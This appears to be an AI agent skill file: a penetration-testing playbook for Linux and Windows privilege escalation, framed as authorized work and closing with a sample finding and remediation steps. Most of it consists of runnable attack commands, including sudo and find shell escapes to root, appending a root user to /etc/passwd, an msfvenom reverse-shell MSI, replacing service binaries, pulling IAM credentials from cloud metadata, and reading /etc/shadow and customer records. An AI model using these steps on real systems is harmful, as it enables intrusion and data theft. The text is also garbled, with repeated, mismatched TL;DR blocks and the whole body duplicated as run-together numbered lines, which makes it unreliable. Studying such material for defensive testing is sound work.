TL;DR
目的:Performs privilege escalation assessments on compromised Linux and Windows
systems to identify paths from low-privilege access to root or…
适用:AD/网络/红队场景(项目全量测试)
输入:已控主机 + 本地提权向量
输出:渗透证据链 + 复现步骤
红线:仅 A 模式项目全量测试,B 模式禁用;禁止未授权使用
关联:上游:003-src-session-start → 下游:108-performing-external-network-penetration-test, 109-performing-initial-access-with-evilginx3, 106-performing-arp-spoofing-attack-simulation
systems to identify paths from low-privilege access to root or…
适用:AD/网络/红队场景(项目全量测试)
输入:目标 URL + 账号清单(≤10,B 模式)
输出:可复现 POC + 利用步骤
红线:仅 A 模式项目全量测试,B 模式禁用;禁止未授权使用
关联:上游:渗透测试启动 → 下游:报告产出
systems to identify paths from low-privilege access to root or…
适用:AD/网络/红队场景(项目全量测试)
输入:目标 URL + 账号清单(≤10,B 模式)
输出:可复现 POC + 利用步骤
红线:仅 A 模式项目全量测试,B 模式禁用;禁止未授权使用
关联:上游:渗透测试启动 → 下游:报告产出
Performing Privilege Escalation Assessment
When to Use
- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise
- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks
- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques
- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints
- Validating that container breakout and VM escape controls are properly configured
Do not use without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.
Prerequisites
- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means
- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)
- Compiled kernel exploits for common CVEs or access to compilation tools on the target
- GTFOBins reference for Linux SUID/sudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries
- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target
Workflow
Step 1: System Enumeration
Gather comprehensive information about the target system:
Linux Enumeration:
id && whoami - Current user and group memberships
uname -a - Kernel version for kernel exploit identification
cat /etc/os-release - Distribution and version
sudo -l - Commands the current user can run as root via sudo
find / -perm -4000 -type f 2>/dev/null - SUID binaries
find / -perm -2000 -type f 2>/dev/null - SGID binaries
crontab -l && ls -la /etc/cron* - Scheduled tasks running as root
ps aux | grep root - Processes running as root
cat /etc/passwd - User accounts (look for additional users with UID 0)
find / -writable -type d 2>/dev/null - World-writable directories
- Run
linpeas.sh for automated comprehensive enumeration
Windows Enumeration:
whoami /priv - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)
systeminfo - OS version, hotfix level, architecture
wmic service get name,pathname,startmode - Unquoted service paths
icacls "C:\Program Files" /T - Writable directories in Program Files
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated - AlwaysInstallElevated check
cmdkey /list - Stored Windows credentials
schtasks /query /fo LIST /v - Scheduled tasks with their run-as accounts
- Run
winPEAS.exe for automated comprehensive enumeration
Step 2: Linux Privilege Escalation Vectors
Test identified escalation vectors systematically:
- Sudo misconfigurations: If
sudo -l shows entries like (ALL) NOPASSWD: /usr/bin/vim, use GTFOBins to escalate:
sudo vim -c ':!/bin/bash' to spawn a root shell
- Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env
- SUID binary abuse: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:
- Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)
- Known SUID: Check GTFOBins for exploitation of standard SUID binaries
- Cron job exploitation: If a cron job runs a script writable by the current user, or runs a script from a writable directory:
- Modify the script to add a reverse shell or SUID copy of bash
- PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable
- Kernel exploits: Match the kernel version to known exploits:
- DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.11
- DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.3
- PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions
- Capabilities abuse:
getcap -r / 2>/dev/null to find binaries with elevated capabilities (cap_setuid, cap_dac_override)
- Writable /etc/passwd: If /etc/passwd is writable, add a new root user:
echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
Step 3: Windows Privilege Escalation Vectors
Test Windows-specific escalation paths:
- Token impersonation: If the user has
SeImpersonatePrivilege (common for service accounts and IIS):
- Use
JuicyPotato.exe, PrintSpoofer.exe, or GodPotato.exe to impersonate SYSTEM
PrintSpoofer.exe -i -c "cmd /c whoami" -> NT AUTHORITY\SYSTEM
- Unquoted service paths: If a service has an unquoted path with spaces (e.g.,
C:\Program Files\My App\service.exe) and you can write to an intermediate directory:
- Place a malicious executable at
C:\Program Files\My.exe which will execute when the service restarts
- Writable service binaries: If you can modify the executable of a service running as SYSTEM:
- Replace the binary with a reverse shell and restart the service
- AlwaysInstallElevated: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:
- Generate a malicious MSI:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi
- Install with elevated privileges:
msiexec /quiet /qn /i shell.msi
- Stored credentials: Check for credentials in
cmdkey /list, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history
- DLL hijacking: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.
- Scheduled tasks: Find tasks running as SYSTEM with writable scripts or binaries
Step 4: Container and Cloud Escalation
Test for escalation paths in containerized and cloud environments:
- Docker breakout: Check if the container runs in privileged mode (
--privileged), has the Docker socket mounted (/var/run/docker.sock), or has SYS_ADMIN capability
- Kubernetes pod escalation: Check for service account tokens with cluster-admin rights, hostPID/hostNetwork namespaces, or hostPath volume mounts
- Cloud metadata: Access cloud instance metadata from compromised hosts (
http://169.254.169.254/latest/meta-data/) to discover IAM roles, credentials, and instance information
- IAM role abuse: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation
Step 5: Documentation and Impact Assessment
Document the complete escalation path and business impact:
- Record every command executed during escalation with timestamps
- Capture proof of elevated access (whoami showing root/SYSTEM, accessing restricted files)
- Document what data or systems become accessible at the elevated privilege level
- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)
- Provide specific remediation for each identified escalation vector
Key Concepts
| Term |
Definition |
| SUID Binary |
A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |
| SeImpersonatePrivilege |
A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |
| Kernel Exploit |
An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root/SYSTEM-level access |
| GTFOBins |
A curated list of Unix binaries that can be exploited for privilege escalation, file read/write, or shell escape when misconfigured |
| LOLBAS |
Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |
| DLL Hijacking |
Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |
| Token Impersonation |
A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |
Tools & Systems
- linPEAS / winPEAS: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows
- GTFOBins / LOLBAS: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured
- PrintSpoofer / GodPotato: Windows privilege escalation tools that exploit
SeImpersonatePrivilege to achieve SYSTEM-level access from service accounts
- Linux Exploit Suggester: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits
Common Scenarios
Scenario: Privilege Escalation on a Linux Web Server
Context: During a penetration test, the tester gained a low-privilege shell as www-data on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.
Approach:
- Run
linpeas.sh which identifies that www-data can run /usr/bin/find as root via sudo without a password
- Verify with
sudo -l: (root) NOPASSWD: /usr/bin/find
- Consult GTFOBins for the
find sudo entry: sudo find . -exec /bin/bash -p \; -quit
- Execute the command and obtain a root shell
- As root, access
/etc/shadow to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII
- Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible
Pitfalls:
- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash
- Not checking for container environments where apparent root access may be limited to the container namespace
- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials
- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths
Output Format
## Finding: Sudo Misconfiguration Allowing Root Escalation via find
**ID**: PRIV-001
**Severity**: Critical (CVSS 8.8)
**Affected Host**: web-prod-01 (10.10.5.15)
**OS**: Ubuntu 22.04 LTS
**Initial Access**: www-data (via PHP file upload - WEB-004)
**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching
**Description**:
The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root
without a password. The find command supports the -exec flag which can spawn a
root shell, effectively granting www-data unrestricted root access.
**Proof of Concept**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**Impact**:
Full root access on the production web server. From root, the tester accessed
database credentials in /var/www/app/.env, connected to MySQL, and confirmed
read access to 75,000 customer records including names, emails, and addresses.
**Remediation**:
1. Remove the /usr/bin/find sudo entry for www-data
2. If find access is required, restrict it to specific directories with --no-exec
3. Audit all sudo entries for binaries listed in GTFOBins
4. Implement sudo logging with auditd for all privileged command execution
1---2name: performing-privilege-escalation-assessment3description: Perform performing privilege escalation assessment assessment during authorized security testing. Use this skill when indicators of the vulnerability class are present in the target environment.4license: Apache-2.05---67## TL;DR89- **目的**:Performs privilege escalation assessments on compromised Linux and Windows10 systems to identify paths from low-privilege access to root or…11- **适用**:AD/网络/红队场景(项目全量测试)12- **输入**:已控主机 + 本地提权向量13- **输出**:渗透证据链 + 复现步骤14- **红线**:**仅 A 模式项目全量测试**,B 模式禁用;禁止未授权使用15- **关联**:上游:003-src-session-start → 下游:108-performing-external-network-penetration-test, 109-performing-initial-access-with-evilginx3, 106-performing-arp-spoofing-attack-simulation1617 systems to identify paths from low-privilege access to root or…18- **适用**:AD/网络/红队场景(项目全量测试)19- **输入**:目标 URL + 账号清单(≤10,B 模式)20- **输出**:可复现 POC + 利用步骤21- **红线**:**仅 A 模式项目全量测试**,B 模式禁用;禁止未授权使用22- **关联**:上游:渗透测试启动 → 下游:报告产出2324 systems to identify paths from low-privilege access to root or…25- **适用**:AD/网络/红队场景(项目全量测试)26- **输入**:目标 URL + 账号清单(≤10,B 模式)27- **输出**:可复现 POC + 利用步骤28- **红线**:**仅 A 模式项目全量测试**,B 模式禁用;禁止未授权使用29- **关联**:上游:渗透测试启动 → 下游:报告产出3031# Performing Privilege Escalation Assessment3233## When to Use3435- After gaining initial low-privilege access during a penetration test to demonstrate full system compromise36- Assessing the security hardening of Linux and Windows servers against local privilege escalation attacks37- Evaluating whether endpoint detection and response (EDR) tools detect common privilege escalation techniques38- Testing the effectiveness of least-privilege policies and application whitelisting on endpoints39- Validating that container breakout and VM escape controls are properly configured4041**Do not use** without written authorization, against production systems where exploitation could cause downtime, or for deploying kernel exploits on systems without prior approval and rollback capability.4243## Prerequisites4445- Low-privilege shell access (reverse shell, SSH, RDP) to the target system obtained through authorized means46- Privilege escalation enumeration scripts: linPEAS (Linux), winPEAS (Windows), Linux Smart Enumeration (LSE)47- Compiled kernel exploits for common CVEs or access to compilation tools on the target48- GTFOBins reference for Linux SUID/sudo binary abuse and LOLBAS reference for Windows living-off-the-land binaries49- Precompiled post-exploitation binaries for the target architecture if compilation is not available on the target5051## Workflow5253### Step 1: System Enumeration5455Gather comprehensive information about the target system:5657**Linux Enumeration:**58- `id && whoami` - Current user and group memberships59- `uname -a` - Kernel version for kernel exploit identification60- `cat /etc/os-release` - Distribution and version61- `sudo -l` - Commands the current user can run as root via sudo62- `find / -perm -4000 -type f 2>/dev/null` - SUID binaries63- `find / -perm -2000 -type f 2>/dev/null` - SGID binaries64- `crontab -l && ls -la /etc/cron*` - Scheduled tasks running as root65- `ps aux | grep root` - Processes running as root66- `cat /etc/passwd` - User accounts (look for additional users with UID 0)67- `find / -writable -type d 2>/dev/null` - World-writable directories68- Run `linpeas.sh` for automated comprehensive enumeration6970**Windows Enumeration:**71- `whoami /priv` - Current user privileges (look for SeImpersonatePrivilege, SeDebugPrivilege)72- `systeminfo` - OS version, hotfix level, architecture73- `wmic service get name,pathname,startmode` - Unquoted service paths74- `icacls "C:\Program Files" /T` - Writable directories in Program Files75- `reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated` - AlwaysInstallElevated check76- `cmdkey /list` - Stored Windows credentials77- `schtasks /query /fo LIST /v` - Scheduled tasks with their run-as accounts78- Run `winPEAS.exe` for automated comprehensive enumeration7980### Step 2: Linux Privilege Escalation Vectors8182Test identified escalation vectors systematically:8384- **Sudo misconfigurations**: If `sudo -l` shows entries like `(ALL) NOPASSWD: /usr/bin/vim`, use GTFOBins to escalate:85 - `sudo vim -c ':!/bin/bash'` to spawn a root shell86 - Common dangerous sudo entries: vim, less, find, nmap, python, perl, ruby, awk, env87- **SUID binary abuse**: If a SUID binary is identified that allows arbitrary command execution, shell escape, or file read:88 - Custom SUID: Check if a custom SUID binary calls other programs without absolute paths (PATH injection)89 - Known SUID: Check GTFOBins for exploitation of standard SUID binaries90- **Cron job exploitation**: If a cron job runs a script writable by the current user, or runs a script from a writable directory:91 - Modify the script to add a reverse shell or SUID copy of bash92 - PATH-based cron exploitation: if the cron job calls a command without absolute path and PATH is writable93- **Kernel exploits**: Match the kernel version to known exploits:94 - DirtyPipe (CVE-2022-0847): Linux kernel 5.8-5.16.1195 - DirtyCow (CVE-2016-5195): Linux kernel 2.6.22-4.8.396 - PwnKit (CVE-2021-4034): Polkit pkexec vulnerability affecting most Linux distributions97- **Capabilities abuse**: `getcap -r / 2>/dev/null` to find binaries with elevated capabilities (cap_setuid, cap_dac_override)98- **Writable /etc/passwd**: If /etc/passwd is writable, add a new root user: `echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd`99100### Step 3: Windows Privilege Escalation Vectors101102Test Windows-specific escalation paths:103104- **Token impersonation**: If the user has `SeImpersonatePrivilege` (common for service accounts and IIS):105 - Use `JuicyPotato.exe`, `PrintSpoofer.exe`, or `GodPotato.exe` to impersonate SYSTEM106 - `PrintSpoofer.exe -i -c "cmd /c whoami"` -> `NT AUTHORITY\SYSTEM`107- **Unquoted service paths**: If a service has an unquoted path with spaces (e.g., `C:\Program Files\My App\service.exe`) and you can write to an intermediate directory:108 - Place a malicious executable at `C:\Program Files\My.exe` which will execute when the service restarts109- **Writable service binaries**: If you can modify the executable of a service running as SYSTEM:110 - Replace the binary with a reverse shell and restart the service111- **AlwaysInstallElevated**: If both HKLM and HKCU AlwaysInstallElevated registry keys are set to 1:112 - Generate a malicious MSI: `msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi`113 - Install with elevated privileges: `msiexec /quiet /qn /i shell.msi`114- **Stored credentials**: Check for credentials in `cmdkey /list`, AutoLogon registry keys, unattend.xml, web.config files, and PowerShell history115- **DLL hijacking**: Identify services that load DLLs from writable directories. Use Process Monitor to find missing DLL loads, then place a malicious DLL.116- **Scheduled tasks**: Find tasks running as SYSTEM with writable scripts or binaries117118### Step 4: Container and Cloud Escalation119120Test for escalation paths in containerized and cloud environments:121122- **Docker breakout**: Check if the container runs in privileged mode (`--privileged`), has the Docker socket mounted (`/var/run/docker.sock`), or has `SYS_ADMIN` capability123- **Kubernetes pod escalation**: Check for service account tokens with cluster-admin rights, hostPID/hostNetwork namespaces, or hostPath volume mounts124- **Cloud metadata**: Access cloud instance metadata from compromised hosts (`http://169.254.169.254/latest/meta-data/`) to discover IAM roles, credentials, and instance information125- **IAM role abuse**: If cloud credentials are discovered, enumerate IAM permissions and test for privilege escalation through IAM policy manipulation126127### Step 5: Documentation and Impact Assessment128129Document the complete escalation path and business impact:130131- Record every command executed during escalation with timestamps132- Capture proof of elevated access (whoami showing root/SYSTEM, accessing restricted files)133- Document what data or systems become accessible at the elevated privilege level134- Map the escalation technique to MITRE ATT&CK (T1548 - Abuse Elevation Control Mechanism, T1068 - Exploitation for Privilege Escalation)135- Provide specific remediation for each identified escalation vector136137## Key Concepts138139| Term | Definition |140|------|------------|141| **SUID Binary** | A Linux binary with the Set User ID bit enabled, which executes with the file owner's privileges (typically root) regardless of who runs it |142| **SeImpersonatePrivilege** | A Windows privilege that allows a process to impersonate another user's security token, commonly abused by service accounts to escalate to SYSTEM |143| **Kernel Exploit** | An exploit targeting a vulnerability in the operating system kernel to gain ring-0 or root/SYSTEM-level access |144| **GTFOBins** | A curated list of Unix binaries that can be exploited for privilege escalation, file read/write, or shell escape when misconfigured |145| **LOLBAS** | Living Off The Land Binaries and Scripts; legitimate Windows binaries that can be abused for code execution, file operations, or persistence |146| **DLL Hijacking** | Exploiting the DLL search order on Windows to load a malicious DLL by placing it in a directory searched before the legitimate DLL location |147| **Token Impersonation** | A Windows technique where a compromised process with appropriate privileges captures and uses another user's access token to execute commands as that user |148149## Tools & Systems150151- **linPEAS / winPEAS**: Automated privilege escalation enumeration scripts that check hundreds of potential escalation vectors on Linux and Windows152- **GTFOBins / LOLBAS**: Reference databases of Unix binaries and Windows binaries that can be exploited for privilege escalation when misconfigured153- **PrintSpoofer / GodPotato**: Windows privilege escalation tools that exploit `SeImpersonatePrivilege` to achieve SYSTEM-level access from service accounts154- **Linux Exploit Suggester**: Script that compares the target kernel version against a database of known kernel exploits to identify applicable exploits155156## Common Scenarios157158### Scenario: Privilege Escalation on a Linux Web Server159160**Context**: During a penetration test, the tester gained a low-privilege shell as `www-data` on an Ubuntu 22.04 web server through a PHP file upload vulnerability. The goal is to escalate to root to demonstrate full server compromise.161162**Approach**:1631. Run `linpeas.sh` which identifies that `www-data` can run `/usr/bin/find` as root via sudo without a password1642. Verify with `sudo -l`: `(root) NOPASSWD: /usr/bin/find`1653. Consult GTFOBins for the `find` sudo entry: `sudo find . -exec /bin/bash -p \; -quit`1664. Execute the command and obtain a root shell1675. As root, access `/etc/shadow` to extract password hashes, read database credentials from the application configuration, and access the MySQL database containing customer PII1686. Document: initial access as www-data -> sudo misconfiguration -> root shell -> database access -> 75,000 customer records accessible169170**Pitfalls**:171- Running kernel exploits without testing on a similar system first, risking a kernel panic and system crash172- Not checking for container environments where apparent root access may be limited to the container namespace173- Ignoring cloud metadata endpoints accessible from the compromised host that may yield IAM credentials174- Failing to enumerate capabilities and SUID binaries after checking sudo, missing alternative escalation paths175176## Output Format177178```179## Finding: Sudo Misconfiguration Allowing Root Escalation via find180181**ID**: PRIV-001182**Severity**: Critical (CVSS 8.8)183**Affected Host**: web-prod-01 (10.10.5.15)184**OS**: Ubuntu 22.04 LTS185**Initial Access**: www-data (via PHP file upload - WEB-004)186**Escalation Technique**: MITRE ATT&CK T1548.003 - Sudo and Sudo Caching187188**Description**:189The www-data user is configured in /etc/sudoers to execute /usr/bin/find as root190without a password. The find command supports the -exec flag which can spawn a191root shell, effectively granting www-data unrestricted root access.192193**Proof of Concept**:194www-data@web-prod-01:~$ sudo -l195(root) NOPASSWD: /usr/bin/find196www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit197root@web-prod-01:~# id198uid=0(root) gid=0(root) groups=0(root)199200**Impact**:201Full root access on the production web server. From root, the tester accessed202database credentials in /var/www/app/.env, connected to MySQL, and confirmed203read access to 75,000 customer records including names, emails, and addresses.204205**Remediation**:2061. Remove the /usr/bin/find sudo entry for www-data2072. If find access is required, restrict it to specific directories with --no-exec2083. Audit all sudo entries for binaries listed in GTFOBins2094. Implement sudo logging with auditd for all privileged command execution210```